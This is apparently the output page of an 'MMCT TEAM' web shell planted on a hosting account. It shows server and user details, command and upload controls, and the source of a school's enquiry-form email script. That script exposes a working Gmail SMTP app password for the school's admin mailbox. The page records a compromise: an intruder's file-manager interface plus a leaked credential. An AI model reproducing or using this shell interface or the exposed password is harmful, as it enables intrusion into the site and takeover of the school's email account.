MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/rasi/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/rasi/send_email.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

error_reporting(E_ALL);
ini_set('display_errors', 1);

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

header('Content-Type: application/json');

if ($_SERVER["REQUEST_METHOD"] !== "POST") {
    echo json_encode(["status" => "error", "message" => "Invalid request method"]);
    exit;
}

$fullName  = isset($_POST['fullName']) ? htmlspecialchars(trim($_POST['fullName'])) : '';
$email     = isset($_POST['userEmail']) ? filter_var(trim($_POST['userEmail']), FILTER_SANITIZE_EMAIL) : '';
$phone     = isset($_POST['contactNumber']) ? htmlspecialchars(trim($_POST['contactNumber'])) : '';
$program   = isset($_POST['selectedProgram']) ? htmlspecialchars(trim($_POST['selectedProgram'])) : '';
$message   = isset($_POST['userMessage']) ? htmlspecialchars(trim($_POST['userMessage'])) : '';

if (empty($fullName) || empty($email)) {
    echo json_encode(["status" => "error", "message" => "Please fill in all required fields"]);
    exit;
}

if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo json_encode(["status" => "error", "message" => "Please enter a valid email address"]);
    exit;
}

try {
    $mail = new PHPMailer(true);
    
    $mail->isSMTP();
    $mail->Host = 'smtp.gmail.com';
    $mail->SMTPAuth = true;
    $mail->Username = 'admin@rasicoachinginstitute.com';
    $mail->Password = 'khfi kyei pjxv uwae';
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; 
    $mail->Port = 465; 
    
    $mail->setFrom('admin@rasicoachinginstitute.com', 'Rasi International School');
    $mail->addAddress('admin@rasicoachinginstitute.com'); 
    $mail->isHTML(true);
    $mail->Subject = "New Enquiry - {$fullName}";

    $adminBody = "
    <html>
    <body>
        <h2>New Enquiry Received</h2>
        <table border='1' cellpadding='8' cellspacing='0' width='100%'>
            <tr><td><strong>Name:</strong></td><td>{$fullName}</td></tr>
            <tr><td><strong>Email:</strong></td><td>{$email}</td></tr>
            <tr><td><strong>Phone:</strong></td><td>{$phone}</td></tr>
            <tr><td><strong>Program:</strong></td><td>{$program}</td></tr>
            <tr><td><strong>Message:</strong></td><td>{$message}</td></tr>
        </table>
    </body>
    </html>";

    $mail->Body = $adminBody;
    $mail->AltBody = "Name: {$fullName}\nEmail: {$email}\nPhone: {$phone}\nProgram: {$program}\nMessage: {$message}";

    if (!$mail->send()) {
        throw new Exception("Admin email failed: " . $mail->ErrorInfo);
    }

    $mail->clearAddresses();
    
    $mail->addAddress($email, $fullName);
    $mail->Subject = 'Thank You for Your Enquiry - Rasi International School';

    $customerBody = "
    <html>
    <body>
        <img src='https://rasi.thedotstudios.com/assets/images/rasilogo.png' alt='Rasi International School' style='height:50px;width:auto;'>
        <h2>Dear {$fullName},</h2>
        <p>Thank you for reaching out to us. We have received your enquiry and our team will contact you shortly.</p>
        <p><strong>Your Enquiry Details:</strong></p>
        <ul>
            <li>Program: {$program}</li>
            <li>Phone: {$phone}</li>
            <li>Message: {$message}</li>
        </ul>
        <p>Best regards,<br>Rasi International School</p>
    </body>
    </html>";

    $mail->Body = $customerBody;
    $mail->AltBody = "Dear {$fullName},\nThank you for your enquiry. We will contact you soon.\n\nProgram: {$program}\nPhone: {$phone}\nMessage: {$message}\n\nBest regards,\nRasi International School";

    if (!$mail->send()) {
        throw new Exception("Customer email failed: " . $mail->ErrorInfo);
    }

    echo json_encode(["status" => "success", "message" => "Enquiry submitted successfully"]);

} catch (Exception $e) {
    echo json_encode(["status" => "error", "message" => "Email sending failed. " . $e->getMessage()]);
}
?>

MMCT - 2023